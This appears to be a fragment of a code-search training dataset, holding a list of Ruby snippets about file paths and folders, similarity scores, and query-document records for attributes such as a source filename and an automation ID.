"def traverse_and_create path\n root = @folder_cache.values.find{|file| file.name == ROOT_FOLDER and file.parents.nil?}\n\n #DriveV3::File (actually folders)\n files = [root]\n places = path.split '/'\n places.each do |place|\n next if place == ''\n folder = folder_with_name place, files.last\n folder = create_folder(place, files.last) if folder.nil?\n files << folder\n end\n files.last\n end",
"def store_dir\n #\"documentos/#{model.document_album.escuela_transporte.razonSocial.gsub(\" \",\"_\").mb_chars.normalize(:kd).gsub(/[^x00-\\x7F]/n, '').to_s.upcase.gsub(/[^a-zA-Z0-9_-]/,\"\")}/#{model.document_album.nombre.upcase}/#{model.nombre}\"\n model.document_path\n end",
"def folder\n connection.directories.get(folder_name)\n end",
"def folder\n mods_ng_xml._location.physicalLocation.each do |node|\n val = node.text\n match_data = val =~ /\\|/ ?\n val.match(/Folder ?:? ?([^|]+)/) : # expect pipe-delimited, may contain commas within values\n val.match(/Folder ?:? ?([^,]+)/) # expect comma-delimited, may NOT contain commas within values\n return match_data[1].strip if match_data.present?\n end\n nil\n end",
"def _dir label\n path = (@path =~ %r{\\A(.*[^/])/?}) ? $1 : @path # strip trailing slash\n (%r{\\A(.*)/#{SkylabFolder}\\Z} =~ path) and path = $1\n path = File.join(path, SkylabFolder)\n File.directory?(path) or return @err.puts(\"#{label} must be directory: #{path}\")\n path\n end",
"def path(controller,folder, link_to_self,matter=nil)\n # the base url for a path is always the same:\n unless folder==nil\n url = url_for(:controller => controller, :action => 'folder_list', :id => nil)\n # start with the deepest folder and work your way up\n if link_to_self\n path = h(folder.name)\n id = folder.id.to_s\n # get the folders until folder doesn't have a parent anymore\n # (you're working your way up now)\n until folder.parent == nil\n folder = folder.parent\n path = truncate_hover(folder.name,18,true) + \"/\" + path + '»'\n end\n\n # Finally, make it a link...\n path = ' <a href=\"#\" onclick= \"GetFoldersList('+ id + ',true);return false;\">' + h(path) + '» </a> '\n else\n path = truncate_hover(folder.name,30,false)\n # get the folders until folder doesn't have a parent anymore\n # (you're working your way up now)\n until folder.parent == nil\n folder = folder.parent\n if controller=='workspaces'\n path =' <a href=\"#\" onclick= \"GetFoldersList('+ folder.id.to_s + ',true);return false;\">' + truncate_hover(folder.name,18,true) + '» </a> '+ path\n elsif controller=='repositories'\n path =' <a href=\"#\" onclick= \"GetFoldersListRepository('+ folder.id.to_s + ',true);return false;\">' + truncate_hover(folder.name,18,true) + '» </a> '+ path\n elsif controller=='document_homes'\n path =' <a href=\"#\" onclick= \"GetFoldersListMatter('+ folder.id.to_s + ',true,this,' + matter.id.to_s + ');return false;\">' + truncate_hover(folder.name,18,true) + '» </a> '+ path\n end\n end\n if controller=='document_homes'\n linkto = \"/matters/#{+ matter.id }/#{controller}\"\n path = '<a href=\"'+\"#{linkto }\"+'\">' +\" Root Folder\" + ' » </a> ' + path\n else\n path = '<a href=\"/' + \"#{controller}\" + '\">' +\" Root Folder\" + ' » </a> ' + path\n end\n end\n else\n path = 'Root Folder'\n end\n return path.html_safe!\n end",
"def uri(path)\n s = File::expand_path(path).gsub(DIR, \"\").gsub(File::SEPARATOR, '/')\n return s == '' ? '/' : s\n end",
"def eponymous_directory_path\n path.sub(ext, '/').sub(/\\/$/, '') + '/'\n end",
"def directory_path\n @directory_path ||= url_file_path.sub /([^\\/]*)\\z/, ''\n end",
"def folder\n @root_folder\n end",
"def get_folder_name\n return folder_name = ARGV.join\nend",
"def dir\n url.end_with?(\"/\") ? url : url_dir\n end",
"def path(id)\n directory.join(id.gsub(\"/\", File::SEPARATOR))\n end",
"def folder\n File.join self.class::FOLDER, model_id.to_s\n end",
"def to_s\n\t\treturn self.valid_dirs.join( SEPARATOR )\n\tend",
"def query\n dir, _, file = @pattern.gsub(/[_\\-\\*]+/, '').rpartition '/'\n dir.gsub(%r{/(\\w{,2})[^/]+}, '\\1') + # map 2 chars per folder\n file.gsub(/\\.\\w+/, '') # remove extension\n end",
"def last_folder\n return content_path unless request.params.has_key?(\"page\")\n path = request.params[\"page\"].split('/')\n File.join(content_path, path[0..-2])\n end",
"def last_folder\n return content_path unless request.params.has_key?(\"page\")\n path = request.params[\"page\"].split('/')\n File.join(content_path, path[0..-2])\n end",
"def folder(name)\n Kamelopard::Folder.new(name)\n end",
"def __build_path(entries)\n parts = entries[0][:path].split('/')\n parts.pop(entries[0][:chunks].length)\n parts.join('/') # stitch parts together to form a path\n end",
"def get_win_server_folder_path(ends_with_slash,starting_path,arr,sep)\n list = []\n if Dir.exists?(app_config(:win_ftp_root)) && Dir.chdir(app_config(:win_ftp_root))\n glob_value = ends_with_slash ? \"#{arr.join(sep)}/*\" : \"#{arr.join(sep)}*\"\n count = starting_path.count \"/\"\n glob_value = \"#{starting_path.split(\"/\").last}*\" if count == 1 and starting_path[0] == \"/\"\n #list=Dir.glob(glob_value)\n glob_value_dc = glob_value.downcase\n glob_value_cc = glob_value.camelcase.split(\"::\").join(\"/\")\n glob_value_uc = glob_value.upcase\n list=Dir.glob(glob_value_dc)\n list=list+Dir.glob(glob_value_cc)\n list=list+Dir.glob(glob_value_uc)\n end\n return list\n end",
"def simplify_path(str)\n directory_names = str.split('/')\n stack = Stack.new\n\n directory_names.each do |name|\n next if name == '.' || name.empty?\n next stack.pop if name == '..'\n stack.push(\"/#{name}\")\n end\n\n result = ''\n until stack.empty?\n result.prepend(stack.pop || '')\n end\n result == '' ? '/' : result\nend",
"def folder\n @attributes[:folder]\n end",
"def folder?\n return false if type.nil?\n \"folder\".casecmp(type).zero?\n end",
"def folders\n @conn.list(\"#{@full_name}#{@delim}\", '%').map do |f|\n Folder.new(@conn, f.name, f.delim)\n end\n end",
"def folder_name\n team_name = team.team.tr(' ', '-').strip_nonalnum\n team_name.unidowncase\n end",
"def unique_path\n unique_name.split(\"/\") rescue [unique_name]\n end",
"def desktop_path(path = request.path)\n path.gsub(/^(.*?\\/\\/.*?)?\\/(#{mobile_path_prefix}\\/?)?(.*)$/) do\n \"#{$1}/#{$3}\"\n end.freeze\n end",
"def full_path(item_scope = scope)\n parent_folder = parent_folder(item_scope)\n folders = []\n if parent_folder.blank?\n \"/\"\n else\n folders << parent_folder_name(item_scope)\n folders << parent_folder.ancestors(item_scope).pluck(:name)\n end\n\n collect_path_string(folders.flatten.reverse)\n end",
"def reduce_path(path)\n if path =~ /^(https?:\\/\\/.+)(\\/.*)/\n prefix = $1\n path = $2\n relative = false\n else\n prefix = nil\n relative = path[0] != '/'\n end\n\n while path.sub!(/\\/*[^\\/]+\\/+\\.\\./, ''); end\n while path.sub!(/\\/+\\.\\/+/, '/'); end\n path = path[2..-1] if path[0..1] == './'\n while path.sub!(/\\/\\//, '/'); end\n\n path = path[1..-1] if relative and path[0] == '/'\n path = prefix + path if prefix\n path\n end",
"def partitioned_path(*args)\n #(\"%08d\" % attachment_path_id).scan(/..../) + args\n args\n end",
"def path\n folders = ancestors.reverse + [self]\n folders.shift # Remove the root folder\n path = File.join('/', folders.map(&:name))\n Pathname.new(path)\n end",
"def directoryname\n new_parts = @parts[0..-2]\n new_parts[0] = absolute_prefix + new_parts[0]\n FilePath.new(*new_parts).to_s\n end",
"def full_path\n if path[0] == '/'\n path\n else\n File.join(Play.music_path,path)\n end\n end",
"def partitioned_path(id)\n (\"%06d\" % id).scan(/.../)\n end",
"def folder_limit\n return unless @options.fetch :nesting_levels\n\n @options.fetch :folder_limit\n end",
"def gen_news_dir()\n dir = \"#{Rails.root}/public/secure/news/#{@folder}\"\n if Dir.exist? dir\n dir\n else\n dir if FileUtils.mkdir_p dir\n end\n end",
"def win_friendly_path(path)\n if path\n new_path = path.gsub('/', '\\\\')\n new_path = \"c:#{new_path}\" if new_path =~ /^\\\\/\n end\n new_path\n end",
"def clean_path(path)\n path.sub(/^\\//,'')\n end",
"def cleanpath\n names = []\n split('/').each do |name|\n case name\n when '..'\n names.pop\n when '.'\n when ''\n else\n names.push name\n end\n end\n names.join('/')\n end",
"def Drillin_win_backup_file_slash(machineID, filePath)\n puts 'split path by slash, not back slash'\n pathArray = filePath.to_s.split('/')\n pathLength = 0\n folderPath = \"\"\n find(:xpath, \"//tr[@id='#{machineID}:Folder:']/td[2]/div/span[2]/span\").click\n (pathArray.size-1).times do\n if pathLength == 0\n #======tell whether the root is \"/\" or a directory======\n if pathArray[pathLength] = \"\"\n folderPath = \"/\"\n else\n folderPath = folderPath + pathArray[pathLength]\n end\n else\n if folderPath == '/'\n folderPath = folderPath + pathArray[pathLength]\n else\n folderPath = folderPath + '/' + pathArray[pathLength]\n end\n end\n find(:xpath, \"//tr[@id='#{machineID}:Folder:#{folderPath}']/td[2]/div/span[2]/span\").click\n sleep 2\n pathLength += 1\n end\n find(:xpath, \"//tr[@id='#{machineID}:File:#{filePath}']/td/div/span\").click\n sleep 2\n end",
"def format_path(entry)\n server_path = entry.path\n if base_path && server_path[0,base_path.length] == base_path\n if server_path == base_path\n return \".\"\n elsif server_path[base_path.length,1] == \"/\"\n return server_path[base_path.length + 1, server_path.length - base_path.length - 1]\n elsif base_path == \"/\" && server_path[0,1] == \"/\"\n return server_path[1, server_path.length - 1]\n end\n end\n server_path\n end",
"def folder_location\n @folder_location ||= Find.find(root_path).find do |path|\n FileTest.directory?(path) && path.split(\"/\").last == id.to_s\n end\n end",
"def folders\n html = http_request(@uri + '/wato.py', {\n folder: '',\n mode: 'folder',\n }, false)\n html.split(/\\n/).each do |line|\n next unless line =~ /class=\"folderpath\"/\n end\n res = []\n html.split(/\\n/).grep(/mode=editfolder/).each do |line|\n line =~ /folder=(.*?)'/\n res.push $1 unless $1.nil?\n end\n res\n end",
"def path\n \"%s/%s\" % [dirname, filename]\n end",
"def get_path(uri)\n name = uri.gsub(\"http://\", \"\")\n dir_list = name.split(\"/\")\n return dir_list\n end",
"def partitioned_path(*args)\n (\"%08d\" % attachment_path_id).scan(/..../) + args\n end",
"def folder\n @folder ||= File.dirname(source)\n end",
"def uniPath(source)\n source.gsub(/\\\\/, File::SEPARATOR)\nend",
"def path?(val)\n !!(val =~ /\\A\\//)\n end",
"def path_name\n str = name.dup\n str << '/' if is_dir\n str = parent.path_name + str if parent\n str\n end",
"def path\n ::File.join(@folder, @file)\n end"
] |
[
"0.6856811",
"0.6810782",
"0.6447439",
"0.63462573",
"0.625899",
"0.6173267",
"0.6164855",
"0.616426",
"0.60557014",
"0.6041702",
"0.6039195",
"0.60270005",
"0.5988001",
"0.5865795",
"0.5861753",
"0.58057344",
"0.5795963",
"0.5795963",
"0.578727",
"0.57809836",
"0.5775227",
"0.57259387",
"0.5695546",
"0.56832266",
"0.56820005",
"0.56786096",
"0.5666662",
"0.56611943",
"0.56579363",
"0.56489706",
"0.5636004",
"0.5636004",
"0.5615054",
"0.56140083",
"0.5597958",
"0.5592226",
"0.5588991",
"0.55824137",
"0.5578065",
"0.5566607",
"0.556491",
"0.55579245",
"0.55456644",
"0.55448806",
"0.55325216",
"0.552947",
"0.552663",
"0.55212283",
"0.55203265",
"0.55143374",
"0.5510657",
"0.55045",
"0.5503062",
"0.5498232",
"0.5494084",
"0.5482978",
"0.54798007",
"0.5474294",
"0.54470646",
"0.5446218",
"0.5438445",
"0.542037",
"0.5418183",
"0.5413962",
"0.54048645",
"0.5400601",
"0.5400601",
"0.5394343",
"0.5387439",
"0.53809845",
"0.5375127",
"0.5370447",
"0.53625447",
"0.5355743",
"0.53544384",
"0.534896",
"0.53459185",
"0.53414726",
"0.5339554",
"0.5337047",
"0.5334576",
"0.53283197",
"0.532782",
"0.53201026",
"0.5302721",
"0.52946097",
"0.529085",
"0.5289861",
"0.5287067",
"0.52846104",
"0.5284112",
"0.528135",
"0.5280955",
"0.52731705",
"0.52581006",
"0.52538115",
"0.52446604",
"0.52416503",
"0.5240173",
"0.52386314",
"0.5228414"
] |
0.0
|
-1
|
string Source filename, if applicable
|
def source
@attributes[:source]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def source\n @_source ||= \"#{@rf['directory']}#{base_filename}.#{format}\"\n end",
"def source filename\n source_hash[filename]\n end",
"def file_name\n if source\n source.is_a?(File) ? File.basename(source.path) : File.basename(source)\n else\n object.original_name.nil? ? \"original_file\" : object.original_name\n end\n end",
"def source_file\n @source_file || get_source_file\n end",
"def source\n if @source\n @source\n else\n # File is read everytime to avoid memory bloat of large binary files\n File.binread(filename)\n end\n end",
"def source_file\n return @source_file\n end",
"def source_path\n File.expand_path source unless source.nil?\n end",
"def source_file\n @source_location[0]\n end",
"def filename\n pn = Pathname.new(@source.filename)\n pn.basename(pn.extname).to_s.tap do |s|\n s << \"_\" << @aspect unless @aspect.nil?\n s << \".\" << mime_type.to_sym.to_s\n end\n end",
"def source(filename); end",
"def source_name\n return @source_name\n end",
"def source_path\n source[:path]\n end",
"def source_file(arg=nil)\n set_or_return(\n :source_file,\n arg,\n :kind_of => [ String ]\n )\n end",
"def source_path\n Pathname.new(self.config[:source_path])\n end",
"def filename\n return @filename if @filename\n\n if self.uri\n @filename = File.basename(self.uri.path)\n else\n regexps = PRECOMPILED_FILE_TYPES.map { |ext| \"\\.#{ext}\" }.join('|')\n\n @filename = File.basename(self.filepath).gsub(/#{regexps}/, '')\n end\n end",
"def source_file=(value)\n @source_file = value\n end",
"def source_path; end",
"def source_path\n Pathname.new(config[:source_path])\n end",
"def name() @filename end",
"def source_extension\n @source_extension ||= \".rb\"\n end",
"def filename\n unless @filename\n load_file_params\n end\n @filename\n end",
"def filename\n @filename\n end",
"def filename\n @filename\n end",
"def get_source_name\n raise NotImplementedError\n end",
"def filename\n @filename\n end",
"def source\n File.read(source_path)\n end",
"def filename\n original_filename\n end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def filename; end",
"def source_file\n source = @argv.find{|x| /\\.rips$/ =~ x }\n Error::message(1) if source.nil? \n Error::message(2) if !File.exist?(source)\n Error::message(3) if !File.readable?(source)\n return source\n end",
"def filename\n @file\n end",
"def source_name\n data_dictionary.source_name\n end",
"def object_name\n @name ||= File.split(@source_path).last.gsub('.txt', '')\n end",
"def filename\n @file.basename.to_s\n end",
"def original_filename; end",
"def get_source_filepath(dest)\n dest.gsub(@path_destination, @path_source)\n end",
"def file_with_source_path(source_path)\n source_path = source_path.unicode_normalize\n @source_path_to_file[source_path] || @abs_source_path_to_file[source_path]\n end",
"def file_name\n return @file_name\n end",
"def file_name\n return @file_name\n end",
"def compute_source_path(source, ext)\n asset_for(source, ext)\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def source\n @source ||= raw_source.split(\"---\\n\")[2]\n end",
"def source_suffix\n options[:source_suffix]\n end",
"def filename\n unless @filename\n @filename = @path.basename.to_s\n end\n\n @filename\n end",
"def get_source_fn\n type = 'src'\n basename = File.basename(@parts[:fn], @parts[:ext]) + Cpp::get_source_ext(@parts[:ext])\n File.join(@parts[:base_dir],\n @parts[:module],\n type, \n @parts[:namespaces],\n basename)\n end",
"def name\n filename\n end",
"def name\n filename\n end",
"def full_filename (for_file = model.source.file)\n super.chomp(File.extname(super)) + '.png'\n end",
"def original_filename\n instance_read(:file_name)\n end",
"def filename\n return @filename unless @filename.nil?\n generate_file_name()\n @filename\n end",
"def file_name\n @file_name\n end",
"def guess_source\n\t\t# Typically csv files come from UniteU\n\t\tif @file =~ /\\.csv$/ then return source = \"uniteu\"\n\t\t# While xml files come from RPro\n\t\telsif @file =~ /\\.xml$/ then return source = \"rpro\"\n\t\t# Otherwise toss out an error\n\t\telse\n\t\t\traise \"Error: No map exists\"\n\t\tend\n\tend",
"def file_name\n \"#{@file_name}.#{extension}\"\n end",
"def formatted_source_file(source_file); end",
"def file name\n \n end",
"def filename\n @filename || (@options && @options[:filename])\n end",
"def filename\n @filename || (@options && @options[:filename])\n end",
"def source_package_file\n pkg_file = nil\n pkg_dir = self.source_package_dir\n @source_urls.each do |url|\n poss_pkg_file = File.join(pkg_dir, File.basename(url[0]))\n if File::exists?(poss_pkg_file)\n pkg_file = poss_pkg_file\n break\n end\n end\n pkg_file\n end",
"def source_package_file\n pkg_file = nil\n pkg_dir = self.source_package_dir\n @source_urls.each do |url|\n poss_pkg_file = File.join(pkg_dir, File.basename(url[0]))\n if File::exists?(poss_pkg_file)\n pkg_file = poss_pkg_file\n break\n end\n end\n pkg_file\n end",
"def filename\n self._filename\n end",
"def filename\n @original_filename\n end",
"def original_filename\n metadata[\"filename\"]\n end",
"def source\n @source || load_file_contents\n end",
"def to_str\n @filename\n end",
"def filename\n @name ||= \"#{timestamp}-#{secure_token(8)}.#{file.extension}\" if original_filename.present?\n end",
"def raw_filename\n return filename unless filename.blank?\n name + '.csv'\n end",
"def filename\n \"#{options.filename}.#{options.filetype}\"\n end",
"def filename\n return @filename if @filename\n name.downcase.gsub(/\\W/, '_').squeeze('_')\n end",
"def file_name\n name.underscore\n end",
"def filename()\n #This is a stub, used for indexing\n end",
"def filename\n @filename || @options[:filename]\n end",
"def file_name\n return unless @file\n\n @file.absolute_name\n end",
"def source\n @source ||=\n Dassets.config.sources.select{ |source|\n @file_path =~ /^#{slash_path(source.path)}/\n }.last\n end",
"def filename\n __advance!\n @_st_fileName\n end",
"def file_name\n\t\treturn 'st' + student_id.to_s + 'pr' + problem_id.to_s + 'so' + id.to_s\n\tend",
"def path\n @filename\n end",
"def filename\n @properties[:filename]\n end",
"def filename\n original_filename.try(:gsub, '+', '-')\n end",
"def compute_asset_extname(source, options = T.unsafe(nil)); end",
"def filename=(_); end",
"def file\n @pathname.to_s\n end",
"def filename\n @data[:name]\n end",
"def display_source_file(doc_info)\n <<~SRC_FILE_TXT\n Source file::\n #{doc_info.src_file}\n SRC_FILE_TXT\n end",
"def a(filename)\n if File.directory?('/autograder')\n return \"/autograder/source/#{filename}\"\n else\n return filename\n end\nend",
"def filename\n @filename = \"#{secure_token}_#{split_extension(original_filename)}.#{file.extension}\" if original_filename.present?\n end",
"def filename\n return @filename if @filename\n is_directory = url.match /\\/\\z/\n if is_directory\n @filename = filename_for_directory\n else\n @filename = filename_for_file\n end\n @filename\n end",
"def filename\n \"#{original_filename_without_extension.parameterize}_#{model.filename_token}#{original_extension}\" if original_filename\n end",
"def filename \n end",
"def is_source?(filename)\n filename.downcase.end_with?(\".c\") ||\n filename.downcase.end_with?(\".cc\") ||\n filename.downcase.end_with?(\".cpp\") ||\n is_assembly?(filename)\n end"
] |
[
"0.792559",
"0.76608425",
"0.7562311",
"0.7467065",
"0.7380775",
"0.7372563",
"0.7328934",
"0.7271527",
"0.72404355",
"0.7202952",
"0.7093526",
"0.7066947",
"0.7005585",
"0.70053023",
"0.7002793",
"0.69939137",
"0.69930047",
"0.69694936",
"0.69505686",
"0.6949947",
"0.6948332",
"0.6928601",
"0.6928601",
"0.6921946",
"0.6917094",
"0.6907675",
"0.68889886",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68742144",
"0.68326765",
"0.6829526",
"0.68109304",
"0.6803505",
"0.6797824",
"0.6786907",
"0.6775292",
"0.6736468",
"0.6720026",
"0.6720026",
"0.6707822",
"0.6686477",
"0.6686477",
"0.6678144",
"0.6639082",
"0.6635422",
"0.66352767",
"0.66352767",
"0.66192025",
"0.66080713",
"0.6597798",
"0.6592457",
"0.6580657",
"0.65703505",
"0.6556108",
"0.6549889",
"0.6541147",
"0.6541147",
"0.6535786",
"0.6535786",
"0.65324295",
"0.6526405",
"0.6510041",
"0.6506242",
"0.6497394",
"0.6495577",
"0.6494707",
"0.64942867",
"0.6492893",
"0.6484816",
"0.64742064",
"0.6465127",
"0.6462062",
"0.6460336",
"0.645707",
"0.64541334",
"0.6446983",
"0.6443549",
"0.6441358",
"0.6439976",
"0.64334446",
"0.6427116",
"0.64221716",
"0.6420418",
"0.64138556",
"0.6408325",
"0.6406252",
"0.6405383",
"0.64034814",
"0.63967806"
] |
0.0
|
-1
|
string ID of automation that created request
|
def automation_id
@attributes[:automation_id]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def automation_id\n return @automation_id\n end",
"def request_id; end",
"def id\n # FIXME: make this number configurable and document the probabilities of clashes\n @id ||= @env[Action::REQUEST_ID] = SecureRandom.hex(Action::DEFAULT_ID_LENGTH)\n end",
"def automation_id=(value)\n @automation_id = value\n end",
"def request_id\n @rid ||= Jabber::Generators.request\n end",
"def request_id\n SecureRandom.hex(17)\n end",
"def request_id\n SecureRandom.hex(17)\n end",
"def request_id=(_); end",
"def request_id=(_arg0); end",
"def request_id\n SecureRandom.hex(5)\n end",
"def get_request_id()\n\t\t\t@random_instance ||= Random.new\n\t\t\tBase64.urlsafe_encode64(@random_instance.bytes(12))\n\t\tend",
"def request_id\n # FIXME make this number configurable and document the probabilities of clashes\n @request_id ||= SecureRandom.hex(DEFAULT_REQUEST_ID_LENGTH)\n end",
"def _execution_id\n attributes['id']\n end",
"def get_request_id\n\t\treturn @transport.get_path(\"meta\",\"id\")\n\tend",
"def extract_request_id(env)\n SecureRandom.uuid\n end",
"def req_id(env)\n env.request.context[:request_id].to_s\n end",
"def current_request_id\n RequestStore.store[:current_request_id] || \"NONE\"\n end",
"def get_request_id\n request_id = ''\n @id_lock.synchronize do\n request_id = @@current_request_id += 1\n end\n request_id\n end",
"def get_request_id\n request_id = ''\n @id_lock.synchronize do\n request_id = @@current_request_id += 1\n end\n request_id\n end",
"def request_id\n # This one set by Rack::RequestId middleware\n Thread.current[:request_id]\n end",
"def actual_id\n args = params[:id].split('-')\n args[0]\n end",
"def identify_request\n klass = @layout == \"miq_request_ae\" ? AutomationRequest : MiqRequest\n @miq_request = @record = identify_record(params[:id], klass)\n end",
"def id\n config[:id] || Origen.target.name\n end",
"def id\n config[:id] || Origen.target.name\n end",
"def id_for(request)\n raise NotImplementedError\n end",
"def _appointment_request_id\n appointment_request_id\n end",
"def last_request_id\n @last_response && @last_response.body.to_s[%r{<requestId>(.+?)</requestId>}] && $1\n end",
"def identification\n request('getIdentification')\n end",
"def uuid\r\n@uuid ||= env[\"action_dispatch.request_id\"]\r\nend",
"def id()\n #This is a stub, used for indexing\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def id\n \"#{kind}_#{@id}\"\n end",
"def record\n current_application.request_specs.where(id: params[:id]).first\n end",
"def id\n @id ||= \"%x-%s\" % [ Time.now.to_i, SecureRandom::hex(2) ]\n end",
"def request_id\n @error['request_id']\n end",
"def gon_request_uuid\n @gon_request_uuid ||= SecureRandom.uuid\n end",
"def unique_id\n params['unique_id']\n end",
"def id(request, required: true)\n\t\t\t\tdevice_id = request.env['HTTP_X_DEVICE_ID']\n\t\t\t\traise ::TVManager::BadRequest, 'Client device identifier was not supplied' if required && (device_id.nil? || device_id.empty?)\n\n\t\t\t\tdevice_id\n\t\t\tend",
"def remote_id; end",
"def request_id\n if metadata = @body[@body.keys.first][\"ResponseMetadata\"]\n metadata[\"RequestId\"]\n elsif id = @body[@body.keys.first][\"requestId\"]\n id\n else\n nil\n end\n end",
"def spot_instance_request_id\n data[:spot_instance_request_id]\n end",
"def thread_id()\n #This is a stub, used for indexing\n end",
"def id\n \"#{controller.url}/#{name}\"[1..-1].gsub('/', '_')\n end",
"def assign_id\n noid_service.mint\n end",
"def assign_id\n self.id = self.class.identifier(self.module, resource, action)\n end",
"def get_target_id\n target_id = send_request_cgi({\n 'method' => 'GET',\n 'uri'=> normalize_uri(datastore[\"Nifi-Path\"], '/process-groups/root')\n }).get_json_document[\"id\"]\n end",
"def get_oid\n \"wee_#{@canvas.current_component.object_id}\"\n end",
"def element_id what\n \"#{object_type}_#{what}\"\n end",
"def id() end",
"def id\n @id || self.class.name.underscore.split('/').last #gsub('/', '_')\n end",
"def api_id\n chip_api.tmp_api_id\n end",
"def id\n base_path || payload[\"content_id\"]\n end",
"def newid( work )\n url = \"#{self.url}/dois\"\n payload = self.construct_payload( work )\n status, response = rest_post( url, payload )\n #puts \"==> #{status}: #{response}\"\n new_doi = response.dig('data', 'id')\n return status, \"doi:#{new_doi}\" if ok?( status ) && new_doi\n return status, ''\n end",
"def id\n @id ||= @response['id']\n end",
"def find_authorizable_id\n @call_params[:path] = \"/#{@call_params[:path]}\" unless @call_params[:path].start_with? '/'\n @client.call(self.class, __callee__.to_s, @call_params)\n end",
"def id\n\t\tbuild_id\n\tend",
"def object_id() end",
"def id\n @attributes[\"#{self.class.to_s.split('::').last.underscore.downcase}_id\".to_sym]\n end",
"def generate_record_id\n @client_id + '-' + SecureRandom.uuid\n end",
"def request\n @request ||= ActionDispatch::TestRequest.create.tap do |request|\n request.request_id = SecureRandom.uuid\n end\n end",
"def id\n @id ||= scgi.session_id\n end",
"def id\n name.gsub(':', '-')\n end",
"def id\n return (\n @discovery_document['id'] ||\n \"#{self.name}:#{self.version}\"\n )\n end",
"def identify!\n self.id ||= SecureRandom.uuid\n end",
"def id; 1; end",
"def agent_id\n self.dig_for_string(\"agentSummary\", \"id\")\n end",
"def _id\n @id\n end",
"def dispatch_id\n local_ip + '/' + Process.pid.to_s\n end",
"def create_id(parent)\n \"#{parent}/#{noid_service.mint}\"\n end",
"def id\n object[\"id\"]\n end",
"def id\n \"AN_ID\"\n end",
"def id\n \"AN_ID\"\n end",
"def client_id; end",
"def id\n @id ||= @response['_id']\n end",
"def id\n get_screen_config['id']\n end",
"def id\n @rf['id']\n end",
"def newid( work )\n url = \"#{self.url}/dois\"\n payload = self.construct_payload( work )\n status, response = rest_post( url, payload )\n\n new_doi = response.dig('data', 'id')\n return status, \"doi:#{new_doi}\" if ok?( status ) && new_doi\n return status, ''\n end",
"def get_id()\n return @doc_name\n end",
"def id\n object.external_id\n end",
"def id\n '1234567890'\n end",
"def service_id(instance, index)\n \"a-bot-#{ fetch(:stage) }-#{ instance[:id] }-#{ index }\"\nend",
"def external_id; end",
"def oid\n id(get_oid())\n end",
"def id\n @values.fetch('ai.operation.id') { \n @values['ai.operation.id'] = nil\n }\n end",
"def id\n self[:identifier]\n end",
"def id\n @obj['id']\n end",
"def identifier\n fetch_response.display_identifier\n end",
"def to_s\n self.request_id.to_s\n end",
"def get_kit_id(op)\n op.inputs[0].retrieve\n op.inputs[0].item&.get(KIT_KEY) || op.input(KIT_PARAMETER)&.value\n end",
"def lock_id\n @lock_id ||= \"test_#{Time.now.to_f}_#{@client_webhook_setting.id}_1\"\n end",
"def id\n ChefPlatformSpec.id_from(chef_server, name)\n end",
"def uuid\n idme_uuid\n end",
"def get_unique_area_id\n session[:request_counter] = 0 if session[:request_counter] > 10000 # Sicherstellen, das keine Kumulation ohne Ende\n \"a#{session[:request_counter]}\"\n end",
"def client_id=(_arg0); end",
"def id\n return @values['ai.operation.id'] if @values.key?('ai.operation.id')\n @defaults['ai.operation.id']\n end",
"def id\n if @controller_config.controller\n @controller_config.controller.name\n else\n # If an API doesn't quite have the controller defined, let's use the name from the resource definition\n @controller_config.name\n end\n end",
"def id\n # Note that below method is from FormTagHelper\n @id ||= field_id(@builder.object_name, @method, index: @builder.index)\n end",
"def id\n return @discovery_document['id']\n end",
"def get_id()\n return @id\n end",
"def appeal_status_id\n \"A#{id}\"\n end"
] |
[
"0.72546345",
"0.7032562",
"0.6984385",
"0.69742197",
"0.68896455",
"0.683108",
"0.683108",
"0.67906207",
"0.6688678",
"0.6649981",
"0.6646388",
"0.6619731",
"0.6475274",
"0.64695436",
"0.6407604",
"0.63708466",
"0.63668334",
"0.6337252",
"0.6337252",
"0.6316858",
"0.62934446",
"0.6284586",
"0.62364",
"0.62364",
"0.62183803",
"0.6171449",
"0.61288404",
"0.6115942",
"0.60424507",
"0.604019",
"0.60313696",
"0.60313696",
"0.6026545",
"0.6023458",
"0.6021015",
"0.60086954",
"0.59991544",
"0.59885603",
"0.596437",
"0.59554815",
"0.5946406",
"0.5935737",
"0.5928554",
"0.5910512",
"0.59088933",
"0.59048843",
"0.58900416",
"0.58685654",
"0.58371824",
"0.5835307",
"0.58258814",
"0.5821647",
"0.58201945",
"0.58168596",
"0.58158034",
"0.5813427",
"0.58130324",
"0.5806785",
"0.580478",
"0.58021134",
"0.5784872",
"0.5784654",
"0.5777989",
"0.57762134",
"0.5774947",
"0.57637817",
"0.5759779",
"0.57503736",
"0.57488126",
"0.5747416",
"0.57431006",
"0.57431006",
"0.5743031",
"0.5742226",
"0.57378167",
"0.57367593",
"0.57336146",
"0.5730172",
"0.5728781",
"0.5727433",
"0.5720702",
"0.5708908",
"0.5705636",
"0.57008404",
"0.57000875",
"0.56988066",
"0.56987745",
"0.5691032",
"0.5688192",
"0.5685685",
"0.56856674",
"0.5681017",
"0.56781",
"0.56767994",
"0.5675375",
"0.56699324",
"0.5667222",
"0.56469935",
"0.56432134",
"0.5641699"
] |
0.7316147
|
0
|
string User making the request (if applicable)
|
def user_display_name
@attributes[:user_display_name]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user\n @user ||= @uri && client.user(@uri.split(':')[2])\n end",
"def user_requested_by\n response = get(\"users/self/requested-by\")\n response\n end",
